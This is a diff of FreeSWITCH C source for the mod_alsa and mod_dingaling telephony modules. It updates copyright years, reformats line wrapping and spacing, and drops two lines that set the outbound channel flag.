* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -151,7 +151,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
|
||||
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
|
||||
@@ -730,12 +731,12 @@ static switch_state_handler_table_t channel_event_handlers = {
|
||||
/*.on_hangup */ channel_on_hangup,
|
||||
/*.on_exchange_media */ channel_on_exchange_media,
|
||||
/*.on_soft_execute */ channel_on_soft_execute,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ NULL,
|
||||
/*.on_destroy*/ channel_on_destroy
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ NULL,
|
||||
/*.on_destroy */ channel_on_destroy
|
||||
};
|
||||
|
||||
static switch_io_routines_t channel_io_routines = {
|
||||
@@ -761,7 +762,8 @@ static switch_endpoint_interface_t channel_endpoint_interface = {
|
||||
*/
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
|
||||
if ((*new_session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
|
||||
@@ -799,7 +801,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
}
|
||||
|
||||
switch_channel_set_flag(channel, CF_OUTBOUND);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
|
||||
switch_channel_set_state(channel, CS_INIT);
|
||||
return SWITCH_CAUSE_SUCCESS;
|
||||
@@ -824,7 +825,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_alsa_load)
|
||||
alsa_endpoint_interface->state_handler = &channel_event_handlers;
|
||||
|
||||
SWITCH_ADD_API(api_interface, "alsa", "Alsa", pa_cmd, "<command> [<args>]");
|
||||
|
||||
|
||||
|
||||
if (switch_core_new_memory_pool(&module_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool\n");
|
||||
@@ -954,7 +955,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_alsa_shutdown)
|
||||
switch_core_codec_destroy(&globals.write_codec);
|
||||
}
|
||||
switch_core_hash_destroy(&globals.call_hash);
|
||||
|
||||
|
||||
switch_safe_free(globals.dialplan);
|
||||
switch_safe_free(globals.cid_name);
|
||||
switch_safe_free(globals.cid_num);
|
||||
@@ -1013,7 +1014,8 @@ static switch_status_t engage_device(unsigned int sample_rate, int codec_ms)
|
||||
}
|
||||
|
||||
if (switch_core_timer_init(&globals.timer,
|
||||
globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet, module_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
|
||||
module_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
|
||||
switch_core_codec_destroy(&globals.read_codec);
|
||||
switch_core_codec_destroy(&globals.write_codec);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -206,7 +206,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
|
||||
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
|
||||
@@ -459,7 +460,8 @@ static void pres_event_handler(switch_event_t *event)
|
||||
}
|
||||
|
||||
sql =
|
||||
switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr, from);
|
||||
switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr,
|
||||
from);
|
||||
|
||||
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
|
||||
switch_hash_this(hi, NULL, NULL, &val);
|
||||
@@ -485,7 +487,7 @@ static void pres_event_handler(switch_event_t *event)
|
||||
}
|
||||
|
||||
static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
|
||||
const char *body, const char *type, const char *hint)
|
||||
const char *body, const char *type, const char *hint)
|
||||
{
|
||||
char *user, *host, *f_user = NULL, *ffrom = NULL, *f_host = NULL, *f_resource = NULL;
|
||||
mdl_profile_t *profile = NULL;
|
||||
@@ -518,7 +520,7 @@ static switch_status_t chat_send(const char *proto, const char *from, const char
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
ldl_handle_send_msg(profile->handle, (char*)from, (char*)to, NULL, switch_str_nil(body));
|
||||
ldl_handle_send_msg(profile->handle, (char *) from, (char *) to, NULL, switch_str_nil(body));
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Profile %s\n", f_host ? f_host : "NULL");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -699,7 +701,8 @@ static void terminate_session(switch_core_session_t **session, int line, switch_
|
||||
switch_channel_state_t state = switch_channel_get_state(channel);
|
||||
struct private_object *tech_pvt = NULL;
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line, switch_channel_state_name(state));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line,
|
||||
switch_channel_state_name(state));
|
||||
|
||||
tech_pvt = switch_core_session_get_private(*session);
|
||||
|
||||
@@ -874,10 +877,9 @@ static int activate_rtp(struct private_object *tech_pvt)
|
||||
switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
|
||||
switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
|
||||
|
||||
if (globals.auto_nat && tech_pvt->profile->local_network &&
|
||||
!switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
|
||||
if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
|
||||
switch_port_t external_port = 0;
|
||||
switch_nat_add_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
|
||||
switch_nat_add_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
|
||||
tech_pvt->local_port = external_port;
|
||||
}
|
||||
|
||||
@@ -885,7 +887,7 @@ static int activate_rtp(struct private_object *tech_pvt)
|
||||
tech_pvt->local_port, tech_pvt->remote_ip, tech_pvt->remote_port);
|
||||
|
||||
flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
|
||||
|
||||
|
||||
|
||||
if (switch_test_flag(tech_pvt->profile, TFLAG_TIMER)) {
|
||||
flags |= SWITCH_RTP_FLAG_USE_TIMER;
|
||||
@@ -973,11 +975,13 @@ static int do_candidates(struct private_object *tech_pvt, int force)
|
||||
}
|
||||
|
||||
cand[0].address = tech_pvt->profile->ip;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address, cand[0].port);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address,
|
||||
cand[0].port);
|
||||
if (switch_stun_lookup
|
||||
(&cand[0].address, &cand[0].port, stun_ip, SWITCH_STUN_DEFAULT_PORT, &err,
|
||||
switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip, SWITCH_STUN_DEFAULT_PORT, err);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip,
|
||||
SWITCH_STUN_DEFAULT_PORT, err);
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
|
||||
return 0;
|
||||
}
|
||||
@@ -995,7 +999,8 @@ static int do_candidates(struct private_object *tech_pvt, int force)
|
||||
cand[0].password = tech_pvt->local_pass;
|
||||
cand[0].pref = 1;
|
||||
cand[0].protocol = "udp";
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port, cand[0].username);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port,
|
||||
cand[0].username);
|
||||
tech_pvt->cand_id = ldl_session_candidates(tech_pvt->dlsession, cand, 1);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_RTP_READY);
|
||||
@@ -1232,9 +1237,8 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
|
||||
tech_pvt->rtp_session = NULL;
|
||||
}
|
||||
|
||||
if (globals.auto_nat && tech_pvt->profile->local_network &&
|
||||
!switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
|
||||
switch_nat_del_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP);
|
||||
if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
|
||||
switch_nat_del_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP);
|
||||
}
|
||||
|
||||
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
|
||||
@@ -1593,12 +1597,12 @@ switch_state_handler_table_t dingaling_event_handlers = {
|
||||
/*.on_hangup */ channel_on_hangup,
|
||||
/*.on_exchange_media */ channel_on_exchange_media,
|
||||
/*.on_soft_execute */ channel_on_soft_execute,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ NULL,
|
||||
/*.on_destroy*/ channel_on_destroy
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ NULL,
|
||||
/*.on_destroy */ channel_on_destroy
|
||||
};
|
||||
|
||||
switch_io_routines_t dingaling_io_routines = {
|
||||
@@ -1618,7 +1622,8 @@ switch_io_routines_t dingaling_io_routines = {
|
||||
*/
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
|
||||
struct private_object *tech_pvt;
|
||||
@@ -1686,7 +1691,8 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
}
|
||||
|
||||
if (mdl_profile->purge) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n", mdl_profile->name);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n",
|
||||
mdl_profile->name);
|
||||
terminate_session(new_session, __LINE__, SWITCH_CAUSE_NORMAL_UNSPECIFIED);
|
||||
return SWITCH_CAUSE_NORMAL_UNSPECIFIED;
|
||||
}
|
||||
@@ -1754,7 +1760,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
}
|
||||
|
||||
switch_channel_set_flag(channel, CF_OUTBOUND);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
|
||||
|
||||
switch_stun_random_string(sess_id, 10, "0123456789");
|
||||
@@ -1811,7 +1816,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
|
||||
switch_api_interface_t *api_interface;
|
||||
|
||||
module_pool = pool;
|
||||
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
|
||||
load_config();
|
||||
@@ -1831,17 +1836,20 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) !=
|
||||
SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) !=
|
||||
SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) !=
|
||||
SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
@@ -1857,7 +1865,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dingaling_load)
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
|
||||
@@ -1903,13 +1911,10 @@ static switch_status_t init_profile(mdl_profile_t *profile, uint8_t login)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"Invalid Profile\n" "login[%s]\n" "pass[%s]\n" "dialplan[%s]\n"
|
||||
"message[%s]\n" "rtp-ip[%s]\n" "name[%s]\n" "exten[%s]\n",
|
||||
switch_str_nil(profile->login),
|
||||
switch_str_nil(profile->password),
|
||||
switch_str_nil(profile->dialplan),
|
||||
switch_str_nil(profile->message),
|
||||
switch_str_nil(profile->ip),
|
||||
switch_str_nil(profile->name),
|
||||
switch_str_nil(profile->exten));
|
||||
switch_str_nil(profile->login),
|
||||
switch_str_nil(profile->password),
|
||||
switch_str_nil(profile->dialplan),
|
||||
switch_str_nil(profile->message), switch_str_nil(profile->ip), switch_str_nil(profile->name), switch_str_nil(profile->exten));
|
||||
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
@@ -1976,8 +1981,8 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_dingaling_shutdown)
|
||||
|
||||
switch_safe_free(globals.dialplan);
|
||||
switch_safe_free(globals.codec_string);
|
||||
switch_safe_free(globals.codec_rates_string);
|
||||
|
||||
switch_safe_free(globals.codec_rates_string);
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -2160,7 +2165,8 @@ SWITCH_STANDARD_API(dingaling)
|
||||
switch_hash_index_t *hi;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
if (session) return status;
|
||||
if (session)
|
||||
return status;
|
||||
|
||||
if (zstr(cmd) || !(myarg = strdup(cmd))) {
|
||||
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
|
||||
@@ -2179,9 +2185,9 @@ SWITCH_STANDARD_API(dingaling)
|
||||
switch_hash_this(hi, NULL, NULL, &val);
|
||||
profile = (mdl_profile_t *) val;
|
||||
stream->write_function(stream, "%s | ", profile->login);
|
||||
if (profile->handle && ldl_handle_authorized(profile->handle)){
|
||||
if (profile->handle && ldl_handle_authorized(profile->handle)) {
|
||||
stream->write_function(stream, "AUTHORIZED");
|
||||
} else if (profile->handle && ldl_handle_connected(profile->handle)){
|
||||
} else if (profile->handle && ldl_handle_connected(profile->handle)) {
|
||||
stream->write_function(stream, "CONNECTED");
|
||||
} else {
|
||||
stream->write_function(stream, "UNCONNECTED");
|
||||
@@ -2195,7 +2201,7 @@ SWITCH_STANDARD_API(dingaling)
|
||||
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
switch_safe_free(myarg);
|
||||
return status;
|
||||
}
|
||||
@@ -2261,7 +2267,7 @@ SWITCH_STANDARD_API(dl_login)
|
||||
} else {
|
||||
stream->write_function(stream, "FAIL\n");
|
||||
}
|
||||
done:
|
||||
done:
|
||||
switch_safe_free(myarg);
|
||||
|
||||
return status;
|
||||
@@ -2274,56 +2280,53 @@ static switch_bool_t match_profile(mdl_profile_t *profile, mdl_profile_t *new_pr
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
if (
|
||||
((!new_profile->name && !profile->name) ||
|
||||
(new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
|
||||
((!new_profile->login && !profile->login) ||
|
||||
(new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
|
||||
((!new_profile->password && !profile->password) ||
|
||||
(new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
|
||||
((!new_profile->message && !profile->message) ||
|
||||
(new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
|
||||
((!new_profile->avatar && !profile->avatar) ||
|
||||
(new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
|
||||
if (((!new_profile->name && !profile->name) ||
|
||||
(new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
|
||||
((!new_profile->login && !profile->login) ||
|
||||
(new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
|
||||
((!new_profile->password && !profile->password) ||
|
||||
(new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
|
||||
((!new_profile->message && !profile->message) ||
|
||||
(new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
|
||||
((!new_profile->avatar && !profile->avatar) || (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
|
||||
#ifdef AUTO_REPLY
|
||||
((!new_profile->auto_reply && !profile->auto_reply) ||
|
||||
(new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
|
||||
((!new_profile->auto_reply && !profile->auto_reply) ||
|
||||
(new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
|
||||
#endif
|
||||
((!new_profile->dialplan && !profile->dialplan) ||
|
||||
(new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
|
||||
((!new_profile->local_network && !profile->local_network) ||
|
||||
(new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
|
||||
((!new_profile->ip && !profile->ip) ||
|
||||
(new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
|
||||
((!new_profile->extip && !profile->extip) ||
|
||||
(new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
|
||||
((!new_profile->server && !profile->server) ||
|
||||
(new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
|
||||
((!new_profile->timer_name && !profile->timer_name) ||
|
||||
(new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
|
||||
((!new_profile->lanaddr && !profile->lanaddr) ||
|
||||
(new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
|
||||
((!new_profile->exten && !profile->exten) ||
|
||||
(new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
|
||||
((!new_profile->context && !profile->context) ||
|
||||
(new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
|
||||
(new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
|
||||
) {
|
||||
((!new_profile->dialplan && !profile->dialplan) ||
|
||||
(new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
|
||||
((!new_profile->local_network && !profile->local_network) ||
|
||||
(new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
|
||||
((!new_profile->ip && !profile->ip) ||
|
||||
(new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
|
||||
((!new_profile->extip && !profile->extip) ||
|
||||
(new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
|
||||
((!new_profile->server && !profile->server) ||
|
||||
(new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
|
||||
((!new_profile->timer_name && !profile->timer_name) ||
|
||||
(new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
|
||||
((!new_profile->lanaddr && !profile->lanaddr) ||
|
||||
(new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
|
||||
((!new_profile->exten && !profile->exten) ||
|
||||
(new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
|
||||
((!new_profile->context && !profile->context) ||
|
||||
(new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
|
||||
(new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
|
||||
) {
|
||||
uint32_t i;
|
||||
if (switch_odbc_available()) {
|
||||
if (!(
|
||||
((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
|
||||
(new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
|
||||
((!new_profile->odbc_user && !profile->odbc_user) ||
|
||||
(new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
|
||||
((!new_profile->odbc_pass && !profile->odbc_pass) ||
|
||||
(new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
|
||||
)) {
|
||||
if (!(((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
|
||||
(new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
|
||||
((!new_profile->odbc_user && !profile->odbc_user) ||
|
||||
(new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
|
||||
((!new_profile->odbc_pass && !profile->odbc_pass) ||
|
||||
(new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
|
||||
)) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
for(i=0; i<new_profile->acl_count; i++) {
|
||||
for (i = 0; i < new_profile->acl_count; i++) {
|
||||
if (strcasecmp(new_profile->acl[i], profile->acl[i]) != 0) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
@@ -2333,7 +2336,7 @@ static switch_bool_t match_profile(mdl_profile_t *profile, mdl_profile_t *new_pr
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
static switch_status_t destroy_profile(char *name)
|
||||
static switch_status_t destroy_profile(char *name)
|
||||
{
|
||||
mdl_profile_t *profile = NULL;
|
||||
|
||||
@@ -2374,7 +2377,7 @@ static switch_status_t soft_reload(void)
|
||||
{
|
||||
char *cf = "dingaling.conf";
|
||||
mdl_profile_t *profile = NULL, *old_profile = NULL;
|
||||
switch_xml_t cfg, xml, /*settings,*/ param, xmlint;
|
||||
switch_xml_t cfg, xml, /*settings, */ param, xmlint;
|
||||
|
||||
void *data = NULL;
|
||||
switch_hash_t *name_hash;
|
||||
@@ -2398,7 +2401,7 @@ static switch_status_t soft_reload(void)
|
||||
char *var = (char *) switch_xml_attr_soft(param, "name");
|
||||
char *val = (char *) switch_xml_attr_soft(param, "value");
|
||||
|
||||
if (!profile) {
|
||||
if (!profile) {
|
||||
profile = switch_core_alloc(module_pool, sizeof(*profile));
|
||||
}
|
||||
|
||||
@@ -2481,7 +2484,7 @@ static switch_status_t soft_reload(void)
|
||||
for (hi = switch_hash_first(NULL, name_hash); hi; hi = switch_hash_next(hi)) {
|
||||
switch_hash_this(hi, NULL, NULL, &data);
|
||||
|
||||
if ((profile = switch_core_hash_find(globals.profile_hash, (char*)data))) {
|
||||
if ((profile = switch_core_hash_find(globals.profile_hash, (char *) data))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleting unused profile %s [%s]\n", profile->name, profile->login);
|
||||
destroy_profile(profile->name);
|
||||
}
|
||||
@@ -2695,7 +2698,8 @@ static void do_vcard(ldl_handle_t *handle, char *to, char *from, char *id)
|
||||
switch_safe_free(xmlstr);
|
||||
}
|
||||
|
||||
